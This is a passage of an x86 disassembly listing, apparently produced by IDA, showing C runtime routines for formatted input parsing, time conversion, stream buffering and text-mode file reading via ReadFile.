and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call off_4317F0
add esp, 0Ch
jmp loc_417F74
; ---------------------------------------------------------------------------
loc_417A4B: ; CODE XREF: sub_41760D+20Cj
cmp [ebp+var_20], eax
jnz short loc_417A5A
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_417A5A: ; CODE XREF: sub_41760D+441j
cmp [ebp+var_5], 0
jle short loc_417A64
mov [ebp+var_16], 1
loc_417A64: ; CODE XREF: sub_41760D+451j
mov edi, offset dword_431820
jmp loc_417B79
; ---------------------------------------------------------------------------
loc_417A6E: ; CODE XREF: sub_41760D+1FDj
mov eax, esi
sub eax, 70h
jz loc_417D1C
sub eax, 3
jz loc_417B6A
dec eax
dec eax
jz loc_417D20
sub eax, 3
jz loc_417856
sub eax, 3
jz short loc_417ABC
loc_417A98: ; CODE XREF: sub_41760D+21Bj
; sub_41760D+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_417FE3
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_417F74
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_417F74
; ---------------------------------------------------------------------------
loc_417ABC: ; CODE XREF: sub_41760D+489j
cmp [ebp+var_5], 0
jle short loc_417AC6
mov [ebp+var_16], 1
loc_417AC6: ; CODE XREF: sub_41760D+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_417B7D
mov eax, edi
lea edi, [eax+1]
jmp loc_417B79
; ---------------------------------------------------------------------------
loc_417AE0: ; CODE XREF: sub_41760D+24Fj
cmp ebx, 2Bh
jnz short loc_417B07
loc_417AE5: ; CODE XREF: sub_41760D+259j
dec [ebp+var_C]
jnz short loc_417AF6
cmp [ebp+var_20], 0
jz short loc_417AF6
mov [ebp+var_F], 1
jmp short loc_417B07
; ---------------------------------------------------------------------------
loc_417AF6: ; CODE XREF: sub_41760D+4DBj
; sub_41760D+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_418069
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_417B07: ; CODE XREF: sub_41760D+4D6j
; sub_41760D+4E7j
cmp ebx, 30h
jnz loc_417D55
push [ebp+arg_0]
inc [ebp+var_4]
call sub_418069
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_417B55
cmp bl, 58h
jz short loc_417B55
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_417B3F
push 6Fh
loc_417B39: ; CODE XREF: sub_41760D+55Bj
pop esi
jmp loc_417D55
; ---------------------------------------------------------------------------
loc_417B3F: ; CODE XREF: sub_41760D+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_418083
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_417D52
; ---------------------------------------------------------------------------
loc_417B55: ; CODE XREF: sub_41760D+517j
; sub_41760D+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_418069
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_417B39
; ---------------------------------------------------------------------------
loc_417B6A: ; CODE XREF: sub_41760D+46Fj
cmp [ebp+var_5], 0
jle short loc_417B74
mov [ebp+var_16], 1
loc_417B74: ; CODE XREF: sub_41760D+561j
mov edi, offset dword_431818
loc_417B79: ; CODE XREF: sub_41760D+45Cj
; sub_41760D+4CEj
or [ebp+var_18], 0FFh
loc_417B7D: ; CODE XREF: sub_41760D+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_411F70
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_417BA1
cmp byte ptr [edi], 5Dh
jnz short loc_417BA1
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_417BA4
; ---------------------------------------------------------------------------
loc_417BA1: ; CODE XREF: sub_41760D+584j
; sub_41760D+589j
mov dl, [ebp+var_35]
loc_417BA4: ; CODE XREF: sub_41760D+592j
; sub_41760D+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_417C09
inc edi
cmp al, 2Dh
jnz short loc_417BF0
test dl, dl
jz short loc_417BF0
mov cl, [edi]
cmp cl, 5Dh
jz short loc_417BF0
inc edi
cmp dl, cl
jnb short loc_417BC3
mov al, cl
jmp short loc_417BC7
; ---------------------------------------------------------------------------
loc_417BC3: ; CODE XREF: sub_41760D+5B0j
mov al, dl
mov dl, cl
loc_417BC7: ; CODE XREF: sub_41760D+5B4j
cmp dl, al
ja short loc_417BEC
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_417BD4: ; CODE XREF: sub_41760D+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_417BD4
loc_417BEC: ; CODE XREF: sub_41760D+5BCj
xor dl, dl
jmp short loc_417BA4
; ---------------------------------------------------------------------------
loc_417BF0: ; CODE XREF: sub_41760D+5A0j
; sub_41760D+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_417BA4
; ---------------------------------------------------------------------------
loc_417C09: ; CODE XREF: sub_41760D+59Bj
cmp byte ptr [edi], 0
jz loc_418013
cmp [ebp+var_3C], 7Bh
jnz short loc_417C1B
mov [ebp+arg_4], edi
loc_417C1B: ; CODE XREF: sub_41760D+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_418083
pop ecx
pop ecx
loc_417C32: ; CODE XREF: sub_41760D+6BCj
; sub_41760D+6C4j
cmp [ebp+var_20], 0
jz short loc_417C46
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_417CE2
loc_417C46: ; CODE XREF: sub_41760D+629j
inc [ebp+var_4]
push edi
call sub_418069
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_417CD6
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_417CD6
cmp [ebp+var_E], 0
jnz short loc_417CCE
cmp [ebp+var_16], 0
jz short loc_417CC3
mov ecx, off_4314B0
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_417CA2
inc [ebp+var_4]
push edi
call sub_418069
pop ecx
mov [ebp+var_37], al
loc_417CA2: ; CODE XREF: sub_41760D+686j
push dword_4316BC
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_41A89A
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_417CC6
; ---------------------------------------------------------------------------
loc_417CC3: ; CODE XREF: sub_41760D+673j
mov [esi], al
inc esi
loc_417CC6: ; CODE XREF: sub_41760D+6B4j
mov [ebp+var_2C], esi
jmp loc_417C32
; ---------------------------------------------------------------------------
loc_417CCE: ; CODE XREF: sub_41760D+66Dj
inc [ebp+var_30]
jmp loc_417C32
; ---------------------------------------------------------------------------
loc_417CD6: ; CODE XREF: sub_41760D+649j
; sub_41760D+667j
dec [ebp+var_4]
push edi
push eax
call sub_418083
pop ecx
pop ecx
loc_417CE2: ; CODE XREF: sub_41760D+633j
cmp [ebp+var_30], esi
jz loc_418013
cmp [ebp+var_E], 0
jnz loc_417F74
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_417F74
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_417D14
and word ptr [eax], 0
jmp loc_417F74
; ---------------------------------------------------------------------------
loc_417D14: ; CODE XREF: sub_41760D+6FCj
and byte ptr [eax], 0
jmp loc_417F74
; ---------------------------------------------------------------------------
loc_417D1C: ; CODE XREF: sub_41760D+466j
mov [ebp+var_D], 1
loc_417D20: ; CODE XREF: sub_41760D+203j
; sub_41760D+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_417D2E
mov [ebp+var_17], 1
jmp short loc_417D33
; ---------------------------------------------------------------------------
loc_417D2E: ; CODE XREF: sub_41760D+719j
cmp ebx, 2Bh
jnz short loc_417D55
loc_417D33: ; CODE XREF: sub_41760D+71Fj
dec [ebp+var_C]
jnz short loc_417D44
cmp [ebp+var_20], 0
jz short loc_417D44
mov [ebp+var_F], 1
jmp short loc_417D55
; ---------------------------------------------------------------------------
loc_417D44: ; CODE XREF: sub_41760D+729j
; sub_41760D+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_418069
pop ecx
mov ebx, eax
loc_417D52: ; CODE XREF: sub_41760D+543j
mov [ebp+var_14], ebx
loc_417D55: ; CODE XREF: sub_41760D+4FDj
; sub_41760D+52Dj ...
cmp [ebp+var_30], 0
jz loc_417E6E
cmp [ebp+var_F], 0
jnz loc_417E4C
loc_417D69: ; CODE XREF: sub_41760D+82Cj
cmp esi, 78h
jnz short loc_417DBD
cmp dword_4316BC, 1
jle short loc_417D86
push 80h
push ebx
call sub_414E26
pop ecx
pop ecx
jmp short loc_417D93
; ---------------------------------------------------------------------------
loc_417D86: ; CODE XREF: sub_41760D+768j
mov eax, off_4314B0
mov al, [eax+ebx*2]
and eax, 80h
loc_417D93: ; CODE XREF: sub_41760D+777j
test eax, eax
jz loc_417E3E
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_41A990
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_418032
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_417E10
; ---------------------------------------------------------------------------
loc_417DBD: ; CODE XREF: sub_41760D+75Fj
cmp dword_4316BC, 1
jle short loc_417DD2
push 4
push ebx
call sub_414E26
pop ecx
pop ecx
jmp short loc_417DDD
; ---------------------------------------------------------------------------
loc_417DD2: ; CODE XREF: sub_41760D+7B7j
mov eax, off_4314B0
mov al, [eax+ebx*2]
and eax, 4
loc_417DDD: ; CODE XREF: sub_41760D+7C3j
test eax, eax
jz short loc_417E3E
cmp esi, 6Fh
jnz short loc_417DFB
cmp ebx, 38h
jge short loc_417E3E
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_41A990
jmp short loc_417E0A
; ---------------------------------------------------------------------------
loc_417DFB: ; CODE XREF: sub_41760D+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_4123A0
loc_417E0A: ; CODE XREF: sub_41760D+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_417E10: ; CODE XREF: sub_41760D+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_417E28
dec [ebp+var_C]
jz short loc_417E4C
loc_417E28: ; CODE XREF: sub_41760D+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_418069
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_417D69
; ---------------------------------------------------------------------------
loc_417E3E: ; CODE XREF: sub_41760D+788j
; sub_41760D+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_418083
pop ecx
pop ecx
loc_417E4C: ; CODE XREF: sub_41760D+756j
; sub_41760D+819j
cmp [ebp+var_17], 0
jz loc_417F32
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_417F32
; ---------------------------------------------------------------------------
loc_417E6E: ; CODE XREF: sub_41760D+74Cj
cmp [ebp+var_F], 0
jnz loc_417F2A
loc_417E78: ; CODE XREF: sub_41760D+90Aj
cmp esi, 78h
jz short loc_417EBC
cmp esi, 70h
jz short loc_417EBC
cmp dword_4316BC, 1
jle short loc_417E97
push 4
push ebx
call sub_414E26
pop ecx
pop ecx
jmp short loc_417EA2
; ---------------------------------------------------------------------------
loc_417E97: ; CODE XREF: sub_41760D+87Cj
mov eax, off_4314B0
mov al, [eax+ebx*2]
and eax, 4
loc_417EA2: ; CODE XREF: sub_41760D+888j
test eax, eax
jz short loc_417F1C
cmp esi, 6Fh
jnz short loc_417EB5
cmp ebx, 38h
jge short loc_417F1C
shl edi, 3
jmp short loc_417EF4
; ---------------------------------------------------------------------------
loc_417EB5: ; CODE XREF: sub_41760D+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_417EF4
; ---------------------------------------------------------------------------
loc_417EBC: ; CODE XREF: sub_41760D+86Ej
; sub_41760D+873j
cmp dword_4316BC, 1
jle short loc_417ED4
push 80h
push ebx
call sub_414E26
pop ecx
pop ecx
jmp short loc_417EE1
; ---------------------------------------------------------------------------
loc_417ED4: ; CODE XREF: sub_41760D+8B6j
mov eax, off_4314B0
mov al, [eax+ebx*2]
and eax, 80h
loc_417EE1: ; CODE XREF: sub_41760D+8C5j
test eax, eax
jz short loc_417F1C
push ebx
shl edi, 4
call sub_418032
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_417EF4: ; CODE XREF: sub_41760D+8A6j
; sub_41760D+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_417F06
dec [ebp+var_C]
jz short loc_417F2A
loc_417F06: ; CODE XREF: sub_41760D+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_418069
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_417E78
; ---------------------------------------------------------------------------
loc_417F1C: ; CODE XREF: sub_41760D+897j
; sub_41760D+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_418083
pop ecx
pop ecx
loc_417F2A: ; CODE XREF: sub_41760D+865j
; sub_41760D+8F7j
cmp [ebp+var_17], 0
jz short loc_417F32
neg edi
loc_417F32: ; CODE XREF: sub_41760D+843j
; sub_41760D+85Cj ...
cmp esi, 46h
jnz short loc_417F3B
and [ebp+var_1C], 0
loc_417F3B: ; CODE XREF: sub_41760D+928j
cmp [ebp+var_1C], 0
jz loc_418013
cmp [ebp+var_E], 0
jnz short loc_417F74
inc [ebp+var_34]
loc_417F4E: ; CODE XREF: sub_41760D+23Bj
cmp [ebp+var_30], 0
jz short loc_417F64
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_417F74
; ---------------------------------------------------------------------------
loc_417F64: ; CODE XREF: sub_41760D+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_417F71
mov [eax], edi
jmp short loc_417F74
; ---------------------------------------------------------------------------
loc_417F71: ; CODE XREF: sub_41760D+95Ej
mov [eax], di
loc_417F74: ; CODE XREF: sub_41760D+241j
; sub_41760D+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_417FC1
; ---------------------------------------------------------------------------
loc_417F7F: ; CODE XREF: sub_41760D+93j
inc [ebp+var_4]
push edi
call sub_418069
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_417FEE
mov ecx, off_4314B0
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_417FC1
inc [ebp+var_4]
push edi
call sub_418069
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_417FFC
dec [ebp+var_4]
loc_417FC1: ; CODE XREF: sub_41760D+970j
; sub_41760D+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_417FD7
cmp byte ptr [esi], 25h
jnz short loc_418019
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_418019
mov esi, eax
loc_417FD7: ; CODE XREF: sub_41760D+9B8j
mov al, [esi]
test al, al
jnz loc_417637
jmp short loc_418013
; ---------------------------------------------------------------------------
loc_417FE3: ; CODE XREF: sub_41760D+1F4j
; sub_41760D+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_417FF3
; ---------------------------------------------------------------------------
loc_417FEE: ; CODE XREF: sub_41760D+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_417FF3: ; CODE XREF: sub_41760D+9DFj
call sub_418083
pop ecx
pop ecx
jmp short loc_418013
; ---------------------------------------------------------------------------
loc_417FFC: ; CODE XREF: sub_41760D+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_418083
dec [ebp+var_4]
push edi
push ebx
call sub_418083
add esp, 10h
loc_418013: ; CODE XREF: sub_41760D+1Fj
; sub_41760D+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_41802A
loc_418019: ; CODE XREF: sub_41760D+9BDj
; sub_41760D+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_41802D
cmp [ebp+var_15], al
jnz short loc_41802D
or eax, 0FFFFFFFFh
jmp short loc_41802D
; ---------------------------------------------------------------------------
loc_41802A: ; CODE XREF: sub_41760D+A0Aj
mov eax, [ebp+var_34]
loc_41802D: ; CODE XREF: sub_41760D+A11j
; sub_41760D+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41760D endp
; =============== S U B R O U T I N E =======================================
sub_418032 proc near ; CODE XREF: sub_41760D+7A3p
; sub_41760D+8DCp
arg_0 = dword ptr 4
cmp dword_4316BC, 1
push esi
jle short loc_41804C
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_414E26
pop ecx
pop ecx
jmp short loc_41805B
; ---------------------------------------------------------------------------
loc_41804C: ; CODE XREF: sub_418032+8j
mov esi, [esp+4+arg_0]
mov eax, off_4314B0
mov al, [eax+esi*2]
and eax, 4
loc_41805B: ; CODE XREF: sub_418032+18j
test eax, eax
jnz short loc_418065
and esi, 0FFFFFFDFh
sub esi, 7
loc_418065: ; CODE XREF: sub_418032+2Bj
mov eax, esi
pop esi
retn
sub_418032 endp
; =============== S U B R O U T I N E =======================================
sub_418069 proc near ; CODE XREF: sub_41760D+1E1p
; sub_41760D+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_41807B
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_41807B: ; CODE XREF: sub_418069+7j
push edx
call sub_418180
pop ecx
retn
sub_418069 endp
; =============== S U B R O U T I N E =======================================
sub_418083 proc near ; CODE XREF: sub_41760D+6Bp
; sub_41760D+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_418099
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41A9AF
pop ecx
pop ecx
locret_418099: ; CODE XREF: sub_418083+5j
retn
sub_418083 endp
; =============== S U B R O U T I N E =======================================
sub_41809A proc near ; CODE XREF: sub_41760D+63p
; sub_41760D+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_4180A0: ; CODE XREF: sub_41809A+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_418069
mov edi, eax
push edi
call sub_41A962
pop ecx
test eax, eax
pop ecx
jnz short loc_4180A0
mov eax, edi
pop edi
pop esi
retn
sub_41809A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4180BE proc near ; CODE XREF: sub_4134A4+C9p
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_0]
sub ebx, 76Ch
cmp ebx, 46h
jl loc_41817A
cmp ebx, 8Ah
jg loc_41817A
push esi
push edi
mov edi, [ebp+arg_4]
mov esi, dword_431F44[edi*4]
add esi, [ebp+arg_8]
test bl, 3
jnz short loc_4180FD
cmp edi, 2
jle short loc_4180FD
inc esi
loc_4180FD: ; CODE XREF: sub_4180BE+37j
; sub_4180BE+3Cj
call sub_41AA1D
mov eax, ebx
lea ecx, [ebx-1]
imul eax, 16Dh
sar ecx, 2
mov edx, esi
mov [ebp+var_8], esi
add edx, ecx
mov [ebp+var_10], ebx
add eax, edx
mov edx, [ebp+arg_14]
lea ecx, [eax+eax*2]
mov eax, [ebp+arg_C]
mov [ebp+var_1C], eax
lea ecx, [eax+ecx*8]
imul ecx, 3Ch
add ecx, [ebp+arg_10]
imul ecx, 3Ch
add ecx, dword_431E60
dec edi
cmp [ebp+arg_18], 1
mov [ebp+var_14], edi
pop edi
pop esi
lea ecx, [ecx+edx+7C558180h]
mov [ebp+arg_0], ecx
jz short loc_418170
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_418176
cmp dword_431E64, 0
jz short loc_418176
lea eax, [ebp+var_24]
push eax
call sub_41AC90
pop ecx
mov ecx, [ebp+arg_0]
test eax, eax
jz short loc_418176
loc_418170: ; CODE XREF: sub_4180BE+90j
add ecx, dword_431E68
loc_418176: ; CODE XREF: sub_4180BE+96j
; sub_4180BE+9Fj ...
mov eax, ecx
jmp short loc_41817D
; ---------------------------------------------------------------------------
loc_41817A: ; CODE XREF: sub_4180BE+13j
; sub_4180BE+1Fj
or eax, 0FFFFFFFFh
loc_41817D: ; CODE XREF: sub_4180BE+BAj
pop ebx
leave
retn
sub_4180BE endp
; =============== S U B R O U T I N E =======================================
sub_418180 proc near ; CODE XREF: sub_413580+A9p
; sub_4140AC+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_418254
test al, 40h
jnz loc_418254
test al, 2
jz short loc_4181A6
or al, 20h
mov [esi+0Ch], eax
jmp loc_418254
; ---------------------------------------------------------------------------
loc_4181A6: ; CODE XREF: sub_418180+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_4181BA
push esi
call sub_419939
pop ecx
jmp short loc_4181BF
; ---------------------------------------------------------------------------
loc_4181BA: ; CODE XREF: sub_418180+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_4181BF: ; CODE XREF: sub_418180+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_418259
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_418243
cmp eax, 0FFFFFFFFh
jz short loc_418243
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_418218
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_418201
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, dword_463EE0[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_418206
; ---------------------------------------------------------------------------
loc_418201: ; CODE XREF: sub_418180+6Bj
mov edi, offset dword_431B10
loc_418206: ; CODE XREF: sub_418180+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_418218
or dh, 20h
mov [esi+0Ch], edx
loc_418218: ; CODE XREF: sub_418180+62j
; sub_418180+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_418235
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_418235
test ch, 4
jnz short loc_418235
mov dword ptr [esi+18h], 1000h
loc_418235: ; CODE XREF: sub_418180+9Fj
; sub_418180+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_418243: ; CODE XREF: sub_418180+55j
; sub_418180+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_418254: ; CODE XREF: sub_418180+Aj
; sub_418180+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_418180 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418259 proc near ; CODE XREF: sub_413580+90p
; sub_418180+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, dword_463FE0
jnb loc_418436
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:463EE0h[eax*4]
mov eax, dword_463EE0[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_418436
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_41830E
test dl, 2
jnz short loc_41830E
test dl, 48h
jz short loc_4182CE
mov al, [eax+5]
cmp al, 0Ah
jz short loc_4182CE
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_4182CE: ; CODE XREF: sub_418259+56j
; sub_418259+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
call dword_41D098 ; ReadFile
test eax, eax
jnz short loc_418321
call dword_41D06C ; RtlGetLastWin32Error
push 5
pop ecx
cmp eax, ecx
jnz short loc_418309
mov dword_462BC4, 9
mov dword_462BC8, ecx
jmp loc_418447
; ---------------------------------------------------------------------------
loc_418309: ; CODE XREF: sub_418259+99j
cmp eax, 6Dh
jnz short loc_418315
loc_41830E: ; CODE XREF: sub_418259+4Cj
; sub_418259+51j
xor eax, eax
jmp loc_41844A
; ---------------------------------------------------------------------------
loc_418315: ; CODE XREF: sub_418259+B3j
push eax
call sub_418CFA
pop ecx
jmp loc_418447
; ---------------------------------------------------------------------------
loc_418321: ; CODE XREF: sub_418259+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_418431
test edx, edx
jz short loc_418346
cmp byte ptr [edi], 0Ah
jnz short loc_418346
or al, 4
jmp short loc_418348
; ---------------------------------------------------------------------------
loc_418346: ; CODE XREF: sub_418259+E2j
; sub_418259+E7j
and al, 0FBh
loc_418348: ; CODE XREF: sub_418259+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_41842B
loc_418360: ; CODE XREF: sub_418259+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_41841B
cmp al, 0Dh
jz short loc_41837C
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_41840D
; ---------------------------------------------------------------------------
loc_41837C: ; CODE XREF: sub_418259+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_41839A
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_418391
add [ebp+arg_8], 2
jmp short loc_4183EF
; ---------------------------------------------------------------------------
loc_418391: ; CODE XREF: sub_418259+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_41840D
; ---------------------------------------------------------------------------
loc_41839A: ; CODE XREF: sub_418259+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call dword_41D098 ; ReadFile
test eax, eax
jnz short loc_4183C2
call dword_41D06C ; RtlGetLastWin32Error
test eax, eax
jnz short loc_418409
loc_4183C2: ; CODE XREF: sub_418259+15Dj
cmp [ebp+var_C], 0
jz short loc_418409
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_4183E4
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_4183EF
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_41840D
; ---------------------------------------------------------------------------
loc_4183E4: ; CODE XREF: sub_418259+176j
cmp edi, [ebp+arg_4]
jnz short loc_4183F4
cmp [ebp+var_1], 0Ah
jnz short loc_4183F4
loc_4183EF: ; CODE XREF: sub_418259+136j
; sub_418259+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_41840C
; ---------------------------------------------------------------------------
loc_4183F4: ; CODE XREF: sub_418259+18Ej
; sub_418259+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_41844F
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_41840D
loc_418409: ; CODE XREF: sub_418259+167j
; sub_418259+16Dj
mov byte ptr [edi], 0Dh
loc_41840C: ; CODE XREF: sub_418259+199j
inc edi
loc_41840D: ; CODE XREF: sub_418259+11Ej
; sub_418259+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_418360
jmp short loc_41842B
; ---------------------------------------------------------------------------
loc_41841B: ; CODE XREF: sub_418259+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
